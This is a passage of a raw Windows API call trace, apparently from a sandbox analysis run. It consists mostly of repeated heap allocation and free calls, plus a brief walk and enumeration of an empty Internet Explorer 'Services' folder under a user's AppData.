0x3109120 [0272.392] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.392] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3054970 | out: hHeap=0x640000) returned 1 [0272.392] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xb0) returned 0x3054970 [0272.392] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.392] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.392] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3054970 | out: hHeap=0x640000) returned 1 [0272.392] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xb0) returned 0x3054970 [0272.392] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.392] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.392] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3054970 | out: hHeap=0x640000) returned 1 [0272.392] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xb0) returned 0x3054970 [0272.392] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.392] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.392] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3054970 | out: hHeap=0x640000) returned 1 [0272.392] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xb0) returned 0x3054970 [0272.393] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.393] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.393] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3054970 | out: hHeap=0x640000) returned 1 [0272.393] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xb0) returned 0x3054970 [0272.393] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.393] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0272.393] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.393] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.393] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3054970 | out: hHeap=0x640000) returned 1 [0272.393] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xb0) returned 0x3054970 [0272.393] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.393] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.393] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3054970 | out: hHeap=0x640000) returned 1 [0272.393] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xb0) returned 0x3054970 [0272.393] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0272.393] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.393] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3054970 | out: hHeap=0x640000) returned 1 [0272.393] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xb0) returned 0x3054970 [0272.393] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0272.393] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.393] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3054970 | out: hHeap=0x640000) returned 1 [0272.393] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xb0) returned 0x3054970 [0272.393] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.393] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.393] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3054970 | out: hHeap=0x640000) returned 1 [0272.393] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xb0) returned 0x3054970 [0272.393] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.393] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.394] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3054970 | out: hHeap=0x640000) returned 1 [0272.394] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xb0) returned 0x3054970 [0272.394] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.394] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0272.394] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.394] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.394] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3054970 | out: hHeap=0x640000) returned 1 [0272.394] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xb0) returned 0x3054970 [0272.394] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0272.394] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.394] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3054970 | out: hHeap=0x640000) returned 1 [0272.394] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xb0) returned 0x3054970 [0272.394] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.394] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.394] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3054970 | out: hHeap=0x640000) returned 1 [0272.394] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xb0) returned 0x3054970 [0272.394] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.394] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.394] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3054970 | out: hHeap=0x640000) returned 1 [0272.394] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xb0) returned 0x3054970 [0272.394] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.394] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.394] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3054970 | out: hHeap=0x640000) returned 1 [0272.394] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xb0) returned 0x3054970 [0272.394] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.394] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.394] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3054970 | out: hHeap=0x640000) returned 1 [0272.395] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xb0) returned 0x3054970 [0272.395] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\Services\\") returned="Services\\" [0272.395] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076e18 [0272.395] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0272.395] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3054970 | out: hHeap=0x640000) returned 1 [0272.395] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\") returned="Internet Explorer\\" [0272.395] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab840 [0272.395] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076e18 | out: hHeap=0x640000) returned 1 [0272.395] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5418 [0272.395] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0272.395] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0272.395] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1928 [0272.395] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5418 | out: hHeap=0x640000) returned 1 [0272.395] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0272.395] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x2ff2f48 [0272.395] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1928 | out: hHeap=0x640000) returned 1 [0272.395] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0272.395] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081960 [0272.395] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff2f48 | out: hHeap=0x640000) returned 1 [0272.395] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0272.395] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076e18 [0272.395] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081960 | out: hHeap=0x640000) returned 1 [0272.395] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0272.395] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076e18 | out: hHeap=0x640000) returned 1 [0272.395] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0272.395] PathFindFileNameW (pszPath="") returned="" [0272.395] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xb0) returned 0x3054970 [0272.395] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\Services\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5616fca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x2bf7e690, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2bf7e690, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0272.396] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3054970 | out: hHeap=0x640000) returned 1 [0272.396] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5616fca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x2bf7e690, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2bf7e690, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.396] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5616fca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x2bf7e690, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2bf7e690, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0272.397] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0272.397] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab840 | out: hHeap=0x640000) returned 1 [0272.397] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3054800 | out: hHeap=0x640000) returned 1 [0272.397] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0272.397] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5418 [0272.397] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0272.397] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0272.397] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.397] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.397] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0272.397] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0272.397] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.397] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.397] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0272.397] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0272.397] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.397] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.397] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0272.397] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0272.397] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.397] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.397] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0272.397] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0272.398] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.398] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.398] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0272.398] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0272.398] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0272.398] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.398] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0272.398] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0272.398] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.398] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0272.398] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.398] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.398] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0272.398] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0272.398] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.398] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.398] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0272.398] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0272.398] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0272.398] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.398] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0272.398] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0272.398] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0272.398] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.398] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0272.398] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0272.398] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0272.399] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.399] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0272.399] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0272.399] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.399] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.399] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0272.399] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0272.399] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.399] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.399] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0272.399] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0272.399] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0272.399] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.399] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0272.399] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0272.399] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0272.399] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.399] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0272.399] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0272.399] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.399] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.399] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0272.400] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0272.400] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.400] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.400] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0272.400] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0272.400] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.400] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.400] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0272.400] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0272.400] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.400] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.400] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0272.400] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0272.400] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.400] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.400] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0272.400] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0272.400] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.400] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.400] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0272.400] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0272.400] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.400] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.401] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0272.401] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0272.401] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.401] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0272.401] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.401] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.401] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0272.401] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0272.401] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.401] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.401] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0272.401] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0272.401] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.401] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0272.401] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.401] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.401] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0272.401] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0272.401] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0272.401] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.401] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0272.401] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0272.401] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0272.401] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.401] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0272.401] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0272.401] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.401] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.402] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0272.402] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0272.402] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.402] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.402] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0272.402] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0272.402] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.402] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0272.402] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.402] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.402] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0272.402] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0272.402] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0272.402] HeapFree (in: hHeap=0x640000, dwFlags=0x0, 